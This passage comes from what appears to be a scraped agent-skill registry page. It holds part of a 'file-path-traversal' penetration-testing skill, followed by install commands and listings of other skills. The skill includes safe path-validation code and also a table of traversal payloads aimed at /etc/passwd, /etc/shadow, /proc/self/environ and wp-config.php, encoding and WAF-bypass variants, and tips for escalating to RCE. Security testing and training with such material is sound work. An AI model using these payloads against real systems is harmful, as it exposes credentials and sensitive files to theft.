realpath($base);\n$userPath = $base . $_GET['file'];\n$realUserPath = realpath($userPath);\n\nif ($realUserPath && strpos($realUserPath, $realBase) === 0) {\n    include($realUserPath);\n}\n```\n\n```python\n# Python: Use os.path.realpath() and validate\nimport os\n\ndef safe_file_access(base_dir, filename):\n    # Resolve to absolute path\n    base = os.path.realpath(base_dir)\n    file_path = os.path.realpath(os.path.join(base, filename))\n    \n    # Verify file is within base directory\n    if file_path.startswith(base):\n        return open(file_path, 'r').read()\n    else:\n        raise Exception(\"Access denied\")\n```\n\n## Quick Reference\n\n### Common Payloads\n\n| Payload | Target |\n|---------|--------|\n| `..\u002F..\u002F..\u002Fetc\u002Fpasswd` | Linux password file |\n| `..\\..\\..\\..\\windows\\win.ini` | Windows INI file |\n| `....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd` | Bypass simple filter |\n| `\u002Fetc\u002Fpasswd` | Absolute path |\n| `php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=config.php` | Source code |\n\n### Target Files\n\n| OS | File | Purpose |\n|----|------|---------|\n| Linux | `\u002Fetc\u002Fpasswd` | User accounts |\n| Linux | `\u002Fetc\u002Fshadow` | Password hashes |\n| Linux | `\u002Fproc\u002Fself\u002Fenviron` | Environment vars |\n| Windows | `C:\\windows\\win.ini` | System config |\n| Windows | `C:\\boot.ini` | Boot config |\n| Web | `wp-config.php` | WordPress DB creds |\n\n### Encoding Variants\n\n| Type | Example |\n|------|---------|\n| URL Encoding | `%2e%2e%2f` = `..\u002F` |\n| Double Encoding | `%252e%252e%252f` = `..\u002F` |\n| Unicode | `%c0%af` = `\u002F` |\n| Null Byte | `%00` |\n\n## Constraints and Limitations\n\n### Permission Restrictions\n- Cannot read files application user cannot access\n- Shadow file requires root privileges\n- Many files have restrictive permissions\n\n### Application Restrictions\n- Extension validation may limit file types\n- Base path validation may restrict scope\n- WAF may block common payloads\n\n### Testing Considerations\n- Respect authorized scope\n- Avoid accessing genuinely sensitive data\n- Document all successful access\n\n## Troubleshooting\n\n| Problem | Solutions |\n|---------|-----------|\n| No response difference | Try encoding, blind traversal, different files |\n| Payload blocked | Use encoding variants, nested sequences, case variations |\n| Cannot escalate to RCE | Check logs, PHP wrappers, file upload, session poisoning |\n\n## When to Use\nThis skill is applicable to execute the workflow or actions described in the overview.\n",{"name":5,"risk":44,"source":38,"metadata":45,"description":7},"unknown",{"author":46,"version":47},"zebbern","1.1","master","dff58085da947e81e8418c922055644bf0082b1b","skills\u002Fother\u002Ffile-path-traversal","https:\u002F\u002Fgithub.com\u002Freikiplanet\u002Fdaoskills","https:\u002F\u002Fgithub.com\u002Freikiplanet","https:\u002F\u002Fwww.reiki-planet.com","Reiki Planet Game","2026-03-29 06:02:29",{"source":8,"skillName":5,"commands":57,"prompt":67,"zipAvailable":68},[58,61,64],{"tool":59,"command":60},"npx","npx skills add reikiplanet\u002Fdaoskills --skill file-path-traversal",{"tool":62,"command":63},"bunx","bunx skills add reikiplanet\u002Fdaoskills --skill file-path-traversal",{"tool":65,"command":66},"pnpm","pnpm dlx skills add reikiplanet\u002Fdaoskills --skill file-path-traversal","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Freikiplanet\u002Fdaoskills\u002Fblob\u002Fmaster\u002Fskills\u002Fother\u002Ffile-path-traversal\u002FSKILL.md",true,[],[71,95,107,121,141,164],{"skillNo":72,"name":73,"nameZh":6,"description":74,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":75,"categories":76,"keywords":77,"publishedAt":39},"01M6G614JTEQJHPT8AKK3YQ18S","web-games","Web browser game development principles. Framework selection, WebGPU, optimization, PWA.","https:\u002F\u002Fgithub.com\u002Freikiplanet\u002Fdaoskills\u002Fblob\u002Fmaster\u002Fweb-games\u002FSKILL.md",[],[78,79,30,80,81,82,38,83,84,85,34,86,87,88,89,90,91,92,93,94],"games","web games","grep","principles","selection","framework selection","edit","write","pwa","game","web browser","game development","Optimization","framework","browser","development","webgpu",{"skillNo":96,"name":97,"nameZh":6,"description":98,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":99,"categories":100,"keywords":101,"publishedAt":39},"01M6G611H2YGV0GZFP90D38ZMJ","vr-ar","VR\u002FAR development principles. Comfort, interaction, performance requirements.","https:\u002F\u002Fgithub.com\u002Freikiplanet\u002Fdaoskills\u002Fblob\u002Fmaster\u002Fvr-ar\u002FSKILL.md",[],[102,103,93,104,105,38,84,85,34,80,106,81],"ar","vr ar","interaction","requirements","performance",{"skillNo":108,"name":109,"nameZh":6,"description":110,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":111,"categories":112,"keywords":113,"publishedAt":39},"01M6G60XNMHAMV1SV0EJ1CX0AY","templates","Project scaffolding templates for new applications. Use when creating new projects from scratch. Contains 12 templates for various tech stacks.","https:\u002F\u002Fgithub.com\u002Freikiplanet\u002Fdaoskills\u002Fblob\u002Fmaster\u002Ftemplates\u002FSKILL.md",[],[109,114,115,116,117,118,38,119,34,120,31,80],"project scaffolding","From Scratch","tech","project","scaffolding","use","projects",{"skillNo":122,"name":123,"nameZh":6,"description":124,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":125,"categories":126,"keywords":127,"publishedAt":39},"01M6G60T0GATMK3Q5H8GDC1Z8S","wcag-audit-patterns","Conduct WCAG 2.2 accessibility audits with automated testing, manual verification, and remediation guidance. Use when auditing websites for accessibility, fixing WCAG violations, or implementing ac...","https:\u002F\u002Fgithub.com\u002Freikiplanet\u002Fdaoskills\u002Fblob\u002Fmaster\u002Fskills\u002Fsecurity\u002Fwcag-audit-patterns\u002FSKILL.md",[],[128,129,130,131,132,38,133,134,135,136,119,137,138,139,140],"wcag audit patterns","wcag audit","patterns","WCAG","audit","manual","with","automated testing","guidance","remediation","verification","accessibility","testing",{"skillNo":142,"name":143,"nameZh":6,"description":144,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":145,"categories":146,"keywords":147,"publishedAt":39},"01M6G60PMCHW1FRZ63F931QK3R","vulnerability-scanner","Advanced vulnerability analysis principles. OWASP 2025, Supply Chain Security, attack surface mapping, risk prioritization.","https:\u002F\u002Fgithub.com\u002Freikiplanet\u002Fdaoskills\u002Fblob\u002Fmaster\u002Fskills\u002Fsecurity\u002Fvulnerability-scanner\u002FSKILL.md",[],[148,149,150,151,152,153,154,155,38,34,80,156,81,157,158,159,160,161,162,163],"scanner","vulnerability scanner","vulnerability","prioritization","2025","mapping","chain","supply chain","Bash","analysis","risk","owasp","supply chain security","security","supply","advanced",{"skillNo":165,"name":166,"nameZh":6,"description":167,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":168,"categories":169,"keywords":170,"publishedAt":39},"01M6G60JZBB8DK0W3DSG1WNMZK","threat-modeling-expert","Expert in threat modeling methodologies, security architecture review, and risk assessment. Masters STRIDE, PASTA, attack trees, and security requirement extraction. Use for security architecture r...","https:\u002F\u002Fgithub.com\u002Freikiplanet\u002Fdaoskills\u002Fblob\u002Fmaster\u002Fskills\u002Fsecurity\u002Fthreat-modeling-expert\u002FSKILL.md",[],[171,172,173,174,175,176,177,178,161,119,179,180,181,38,182,183,184,158,185,186],"modeling","threat modeling expert","threat modeling","expert","threat","risk assessment","architecture review","architecture","security architecture review","trees","security architecture","security requirement extraction","assessment","extraction","review","stride"]